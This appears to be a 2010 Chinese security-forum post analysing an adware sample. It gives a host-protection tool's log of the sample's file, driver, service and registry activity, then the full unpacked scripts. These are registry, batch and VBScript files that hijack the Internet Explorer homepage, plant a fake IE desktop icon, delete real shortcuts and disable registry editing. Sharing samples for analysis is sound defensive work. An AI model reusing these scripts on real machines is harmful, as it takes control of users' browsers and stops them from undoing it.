[病毒样本] 4x

显示全部楼层 · 发表于 2010-1-6 12:01:36

本帖最后由 username 于 2010-1-6 12:06 编辑

old.exe没毒是没毒
但很恶心
不点三次广告不给退出
（结束进程除外

————
2010-1-6 12:02:07 创建文件允许
进程: d:\emule\4x\123.exe
目标: C:\WINDOWS\system32\00054849.ini
规则: [文件]*

2010-1-6 12:02:08 创建文件允许
进程: d:\emule\4x\123.exe
目标: C:\WINDOWS\system32\gcmckv.dll
规则: [文件组][A]所有执行文件_ -> [文件]*; *.dll

2010-1-6 12:02:12 创建文件允许
进程: d:\emule\4x\123.exe
目标: C:\WINDOWS\system32\drivers\gcmckv.sys
规则: [文件组][A]所有执行文件_ -> [文件]*; *.sys

2010-1-6 12:02:14 加载动态链接库允许
进程: d:\emule\4x\123.exe
目标: c:\windows\system32\gcmckv.dll
规则: [应用程序]*

2010-1-6 12:02:14 安装驱动程序或服务阻止
进程: d:\emule\4x\123.exe
目标: yxlmhs
文件路径: C:\WINDOWS\system32\svchost.exe -k yxlmhs
规则: [应用程序]*

2010-1-6 12:02:14 修改注册表值阻止并结束进程
进程: d:\emule\4x\123.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\yxlmhs
值: yxlmhs
规则: [注册表组]自动击杀用 -> [注册表]*\SOFTWARE\Microsoft\window*\CurrentVersion\SvcHost

2010-1-6 12:02:56 创建文件允许
进程: d:\emule\4x\1339.exe
目标: C:\Program Files\Microsoft Office\SYSTEM\01.exe
规则: [文件组][A]所有执行文件_ -> [文件]*; *.exe

2010-1-6 12:02:56 创建注册表项阻止
进程: d:\emule\4x\1339.exe
目标: HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Apcdli
规则: [注册表组]系统服务 -> [注册表]*\SYSTEM\*controlset*\Services\*

2010-1-6 12:03:01 创建新进程允许
进程: d:\emule\4x\1339.exe
目标: c:\program files\microsoft office\system\sysbar.exe
命令行: "C:\Program Files\Microsoft Office\SYSTEM\sysbar.exe"
规则: [应用程序]*

2010-1-6 12:03:12 创建文件夹阻止
进程: c:\program files\microsoft office\system\sysbar.exe
目标: C:\Documents and Settings\All Users\Application Data\Microsoft\Dr Watson
规则: [文件]*

2010-1-6 12:03:22 修改注册表值阻止并结束进程
进程: c:\program files\microsoft office\system\sysbar.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page
值: http://www1.zhaodao123.com/?h
规则: [注册表组]自动击杀用 -> [注册表]*\Software\Microsoft\Internet explorer\Main; Start Page*

good.exe
自解压包
1.bat

regedit /s 1.reg

复制代码

1.reg

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.109927.com/?x"
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"HomePage"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu]
"{871C5380-42A0-1069-A2EA-08002B30309D}"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel]
"{871C5380-42A0-1069-A2EA-08002B30309D}"=dword:00000001
[HKEY_CLASSES_ROOT\lnkfile]
"IsShortcut"=-

复制代码

a.bat

copy "Internet Explorer.lnk" "%userprofile%\桌面\Internet Explorer.lnk" /y
copy "Internet Explorer.url" "C:\WINDOWS\system32\Internet Explorer.url" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\Internet Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\程序\Internet Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk" /y

复制代码

b.bat

@echo off
del "%userprofile%\桌面\IEXPLORE.lnk"
del "%userprofile%\桌面\IEXPLOREr.lnk"
del "%userprofile%\桌面\Internet Explorer.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk"
exit

复制代码

Internet Explorer.lnk

"C:\WINDOWS\system32\Internet Explorer.url"

复制代码

Internet Explorer.url

http://www.109927.com/?x

复制代码

qbgwxowa.vbs

Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
Rem
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Dim WSHShell, strDesktop
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"
strWinDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
ie=strWinDir&"\Internet Explorer\iexplore.exe"
winds = WshShell.ExpandEnvironmentStrings("%SystemRoot%")
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}", "Internet Exp1orer"
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\DefaultIcon", ie
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\Shell",""
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\Shell\D", "删除(&D)"
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\Shell\D\Command", "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\Shell\Open", "打开主页"
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\Shell\Open\Command", ie&" http://www.109927.com/?x"
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\Shell\属性", "属性"
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\Shell\属性\Command", "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"
WSHShell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}""", "Internet Explorer"
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\ShellFolder",""
WSHShell.regwrite "HKCR\CLSID\{E2BDE352-AB67-EF4B-8643-A56AE98F5733}\ShellFolder\Attributes",10,"REG_DWORD"
WSHShell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktopCleanupWizard",1,"REG_DWORD"
WSHShell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{93DA0C80-839B-474D-BCA0-0F3FB983C5CC}User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktopCleanupWizard",1,"REG_DWORD"
WSHShell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
set oUrlLink = WshShell.CreateShortcut("C:\WINDOWS\system32\Internet Explorer.url")
oUrlLink.TargetPath = "http://www.109927.com/?x"
oUrlLink.Save
Set ws = CreateObject("Wscript.Shell")
Set ws1 = CreateObject("Wscript.Shell")
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
Dim data1,a9
Data1=OperationRegistry.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
a9=left(Data1,len("http://www.baidu.sina.qq.china.163.youku.gg.109927.com"))
a90=left(Data1,len("http://www.109927.com"))
if a9="http://www.baidu.sina.qq.china.163.youku.gg.109927.com" or a90="http://www.109927.com" then
else
ws.run "cmd /c 1.bat",vbhide
end if
ws1.run "cmd /c a.bat",vbhide
ws1.run "cmd /c b.bat",vbhide

复制代码